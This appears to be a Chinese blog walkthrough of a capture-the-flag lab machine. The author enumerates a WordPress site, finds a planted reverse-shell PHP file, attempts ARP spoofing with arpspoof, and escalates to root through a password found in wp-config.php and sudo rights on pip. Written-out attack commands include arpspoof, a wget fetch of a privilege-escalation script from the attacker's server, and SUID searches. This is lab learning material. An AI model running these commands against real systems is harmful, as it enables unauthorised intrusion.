難度:中等
靶機發布日期:2019年11月22日
靶機描述:beginner - intermediate machine, your goal is to read /root/flag.txt.
Remember, good enumeration! VMware based, you may have problems with VB.
博客中如有任何問題,懇請批評指正,萬分感謝。個人郵箱:[email protected]
工具、知識點和漏洞
- nmap
- gobuster
- burpsuite
- wireshark
- MiTM
- /usr/bin/pip提權
存疑、待解決
- 通過MiTM怎麼拿到shell
0x00、信息收集
靶機IP:172.16.203.128
nmap -sn 192.168.56.0/24
端口和服務
nmap -sS -sV -T5 -A -p- 172.16.203.128
頁面、目錄枚舉
gobuster dir -u http://172.16.203.128 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt,.html,.zip
然後我訪問/javascript
時提示禁止訪問,想着裏面會不會有什麼js腳本是突破口?然而是我想多了,最終也只發現了/javascript/jquery/jquery.js
之後用burpsuite抓包,沒什麼卵用;然後用wireshark,依然沒什麼卵用。有點絕望了啊!!!
想到靶機的描述裏面有這麼一句話Remember, good enumeration!
。隨機換了個字典,接着用gobuster掃它,掃它,掃它。
字典用的是Github上21.8k Star https://github.com/danielmiessler/SecLists。之前已經把kali自帶的字典全部試過了~,對,全部。
哦豁,發現了/zhkh
,用的wordpress
然而之後發現請求了192.168.1.13
,因爲之前EVM:1那個靶機也是類似的情況。所以我修改了Host only網卡的IP和子網掩碼,可是並不能使靶機自動獲取到這個192.168.1.13
的地址
後來一個老哥說可以這麼操作,我真是菜~
因爲響應body裏面有192.168.1.13
,所以直接用靶機的IP給它替換掉。
正常顯示首頁之後,四處點了點,沒發現什麼。wordpress的版本是5.3,發佈不到一個月,所以漏洞什麼的就不要想了。之後爆破了一下admin
用戶的密碼,無果。
0x01、發現shell.php
秉承着good enumeration
的無上原則,用gobuster對着/zhkh/wp-content/
又是一頓掃,發現/uploads
之後發現了shell.php
直接訪問shell.php
得到一串警告,之後burpsuite抓包
隨後使用curl
請求了一下,發現響應包中的Content-Length
是104,而我們之前用burpsuite抓包得到的是90。
這裏是在burpsuite中選中
/zhkh/wp-content/uploads/uigen_2019/shell.php
,然後右鍵拷貝成curl命令
然而好像沒什麼卵用。到網上搜了一下錯誤提示,有了如下的發現。
從這裏可以基本斷定這就是一個reverse shell的php,然而裏面的ip和都不知道,而且即便知道了配置起來好像也不是那麼容易。
0x02、中間人攻擊
請教了老哥之後,說是可以直接用MiTM(中間人攻擊)搞一波,給了MiTM
四個字符之後隨即絕塵而去,我真是羨慕這樣瀟灑的背影~
出於好奇我想用wireshark抓取Host only對應的網卡(eth1)的流量,看看我直接訪問shell.php
的時候能不能抓到什麼東西。
從圖中可以看到192.168.11.131
(源IP)向192.168.1.14
(目的IP)發起了請求。192.168.11.131是靶機的IP
,請原諒它的IP總是變動~,我的鍋;還記得之前wordpress首頁向192.168.1.13
發送請求嗎?所以這裏的192.168.1.14應該就是接收shell會話的攻擊機的地址了
。這是按常理推斷,如果我的靶機IP是192.168.1.13
,那麼我的攻擊機應該是處在同網段的,而抓取流量的過程中只出現了192.168.1.14
,所以shell.php裏面的接收shell會話的IP就是這個了。
還有就是源IP的端口是41262,目的IP的端口是5555
(也就是說nc的監聽端口是5555),目前還不知道這些信息有沒有用。因爲之前沒有接觸過MiTM,所以都是現學現賣~
投機取巧getshell
第二天突然想到好像可以不用MiTM這種手法,因爲畢竟是本地的靶機,所以也可以修改一下虛擬機軟件的網絡配置,比如NAT模式的網絡配置改成192.168.1.0/24
,之後再給kali配置一個靜態IP192.168.1.14
~
MiTM獲取shell
演示完了投機取巧的辦法之後,老老實實的回來研究怎麼通過MiTM獲取shell。這裏推薦一篇阿里巴巴的表哥寫的文章:中間人攻擊(MITM)姿勢總結,四個字形容:圖文並茂。
瞭解了ARP的原理之後,我就想,我直接在靶機發送廣播(ARP Request)的時候,告訴靶機“kali就是192.168.1.14
”不就好了?
我這裏用的工具是arpspoof
,kali 2019.4已經沒有這個工具了,需要通過安裝dsniff
後才能使用。
arpspoof -i eth0 -t 192.168.1.129 192.168.1.14 # 告訴靶機(192.168.1.129),“kali就是`192.168.1.14`”
然後使用curl訪問shell.php,結果報錯了。
同一時間,wireshark抓包的結果如下:
折騰了許久沒能getshell,先放一放。有表哥知道怎麼弄的話,麻煩給個思路,先謝過了。
0x03、權限提升
--------------------------------------------------------------Begin 套話分割線 Begin--------------------------------------------------------------
關於Linux提權,可以直接用腳本蒐集一下對於提權有用的信息,比如用linuxprivchecker.py、LinEnum.sh.
如果你想熟悉一下沒有腳本的情況下怎麼收集這些信息可以參考privilege_escalation_-_linux
先在kali上開啓HTTP服務
python -m SimpleHTTPServer 65534
使用wget下載linuxprivchecker.py腳本到靶機的tmp目錄
因爲本人所在的地理位置不允許直接訪問Github,所以我是從自己的kali下載的
cd /tmp
wget http://192.168.0.108:65534/Desktop/linuxprivchecker.py
爲了便於查看收集到的信息,我將結果輸出到report.txt文本中,之後使用less查看
python linuxprivchecker.py > report.txt
less report.txt
靶機做了這些後發現還是手動收集更快……,手動收集不到有效信息的情況下再嘗試用腳本。
-------------------------------------------------------------- End 套話分割線 End --------------------------------------------------------------
SUID權限可執行文件,沒有可用的
find / -perm -u=s -type f 2>/dev/null
常見的SUID提權可執行文件
- nmap
- vim
- less
- more
- nano
- cp
- mv
- find
- wget
- bash
當前用戶可寫文件,發現一堆,但是極大多數都是沒用的,所以我先把結果輸出到文本文件,然後使用grep加上關鍵字去篩選。但是也沒發現什麼有用的信息。
find / -writable -type f 2>/dev/null >/tmp/report.txt
grep -Ev '/proc|/sys|/var/www/html/zhkh' /tmp/report.txt
查看計劃任務,無
cat /etc/crontab
查找sudo權限命令,需要輸入密碼
sudo -l
查看/etc/passwd
發現一個用戶ra
,之前端口掃描的時候發現SSH服務在運行,所以可以嘗試爆破一下。用kali自帶的fasttrack.txt
字典爆破無果之後就沒有再去嘗試用其他的字典再嘗試了。
uame -a
查看內核版本爲4.19.0-6-amd64
,這個先留着吧
本來想用netstat
查看一下有沒有什麼只能本地訪問的服務的,結果沒裝~
隨後打開了wordpress的配置文件wp-config.php
,發現數據庫的用戶是ra
,跟系統用戶名一樣,所以嘗試直接用數據庫的密碼登錄一下,結果密碼不對。然後就繼續往下翻了翻,發現有一串註釋掉的字符串Db]f{He3HgO
(z,好生奇怪,雖然沒有深入研究過wordpress,但直覺告訴我,這串字符串有問題,正所謂事出無常必有妖
。
接着把它當作ra
用戶的密碼,嘗試通過SSH登錄了一下,嗯~直接登錄成功了。不好意思,我當時直接笑出了聲……
緊直接讀取了.bash_history
,發現之前執行過find . -exec "whoami" \;
,隨即猜測find
可能是有SUID權限的,試了一下發現是我想太多。
重新執行了一下sudo -l
,發現/usr/bin/pip
可以以root用戶的權限執行。到https://gtfobins.github.io/查了一下,發現有現成的payload,直接照搬即可獲得root權限。
請原諒此處的馬賽克,感謝理解。
如果你有其他的方法,歡迎留言。要是有寫錯了的地方,請你一定要告訴我。要是你覺得這篇博客寫的還不錯,歡迎分享給身邊的人。我是ins1ght.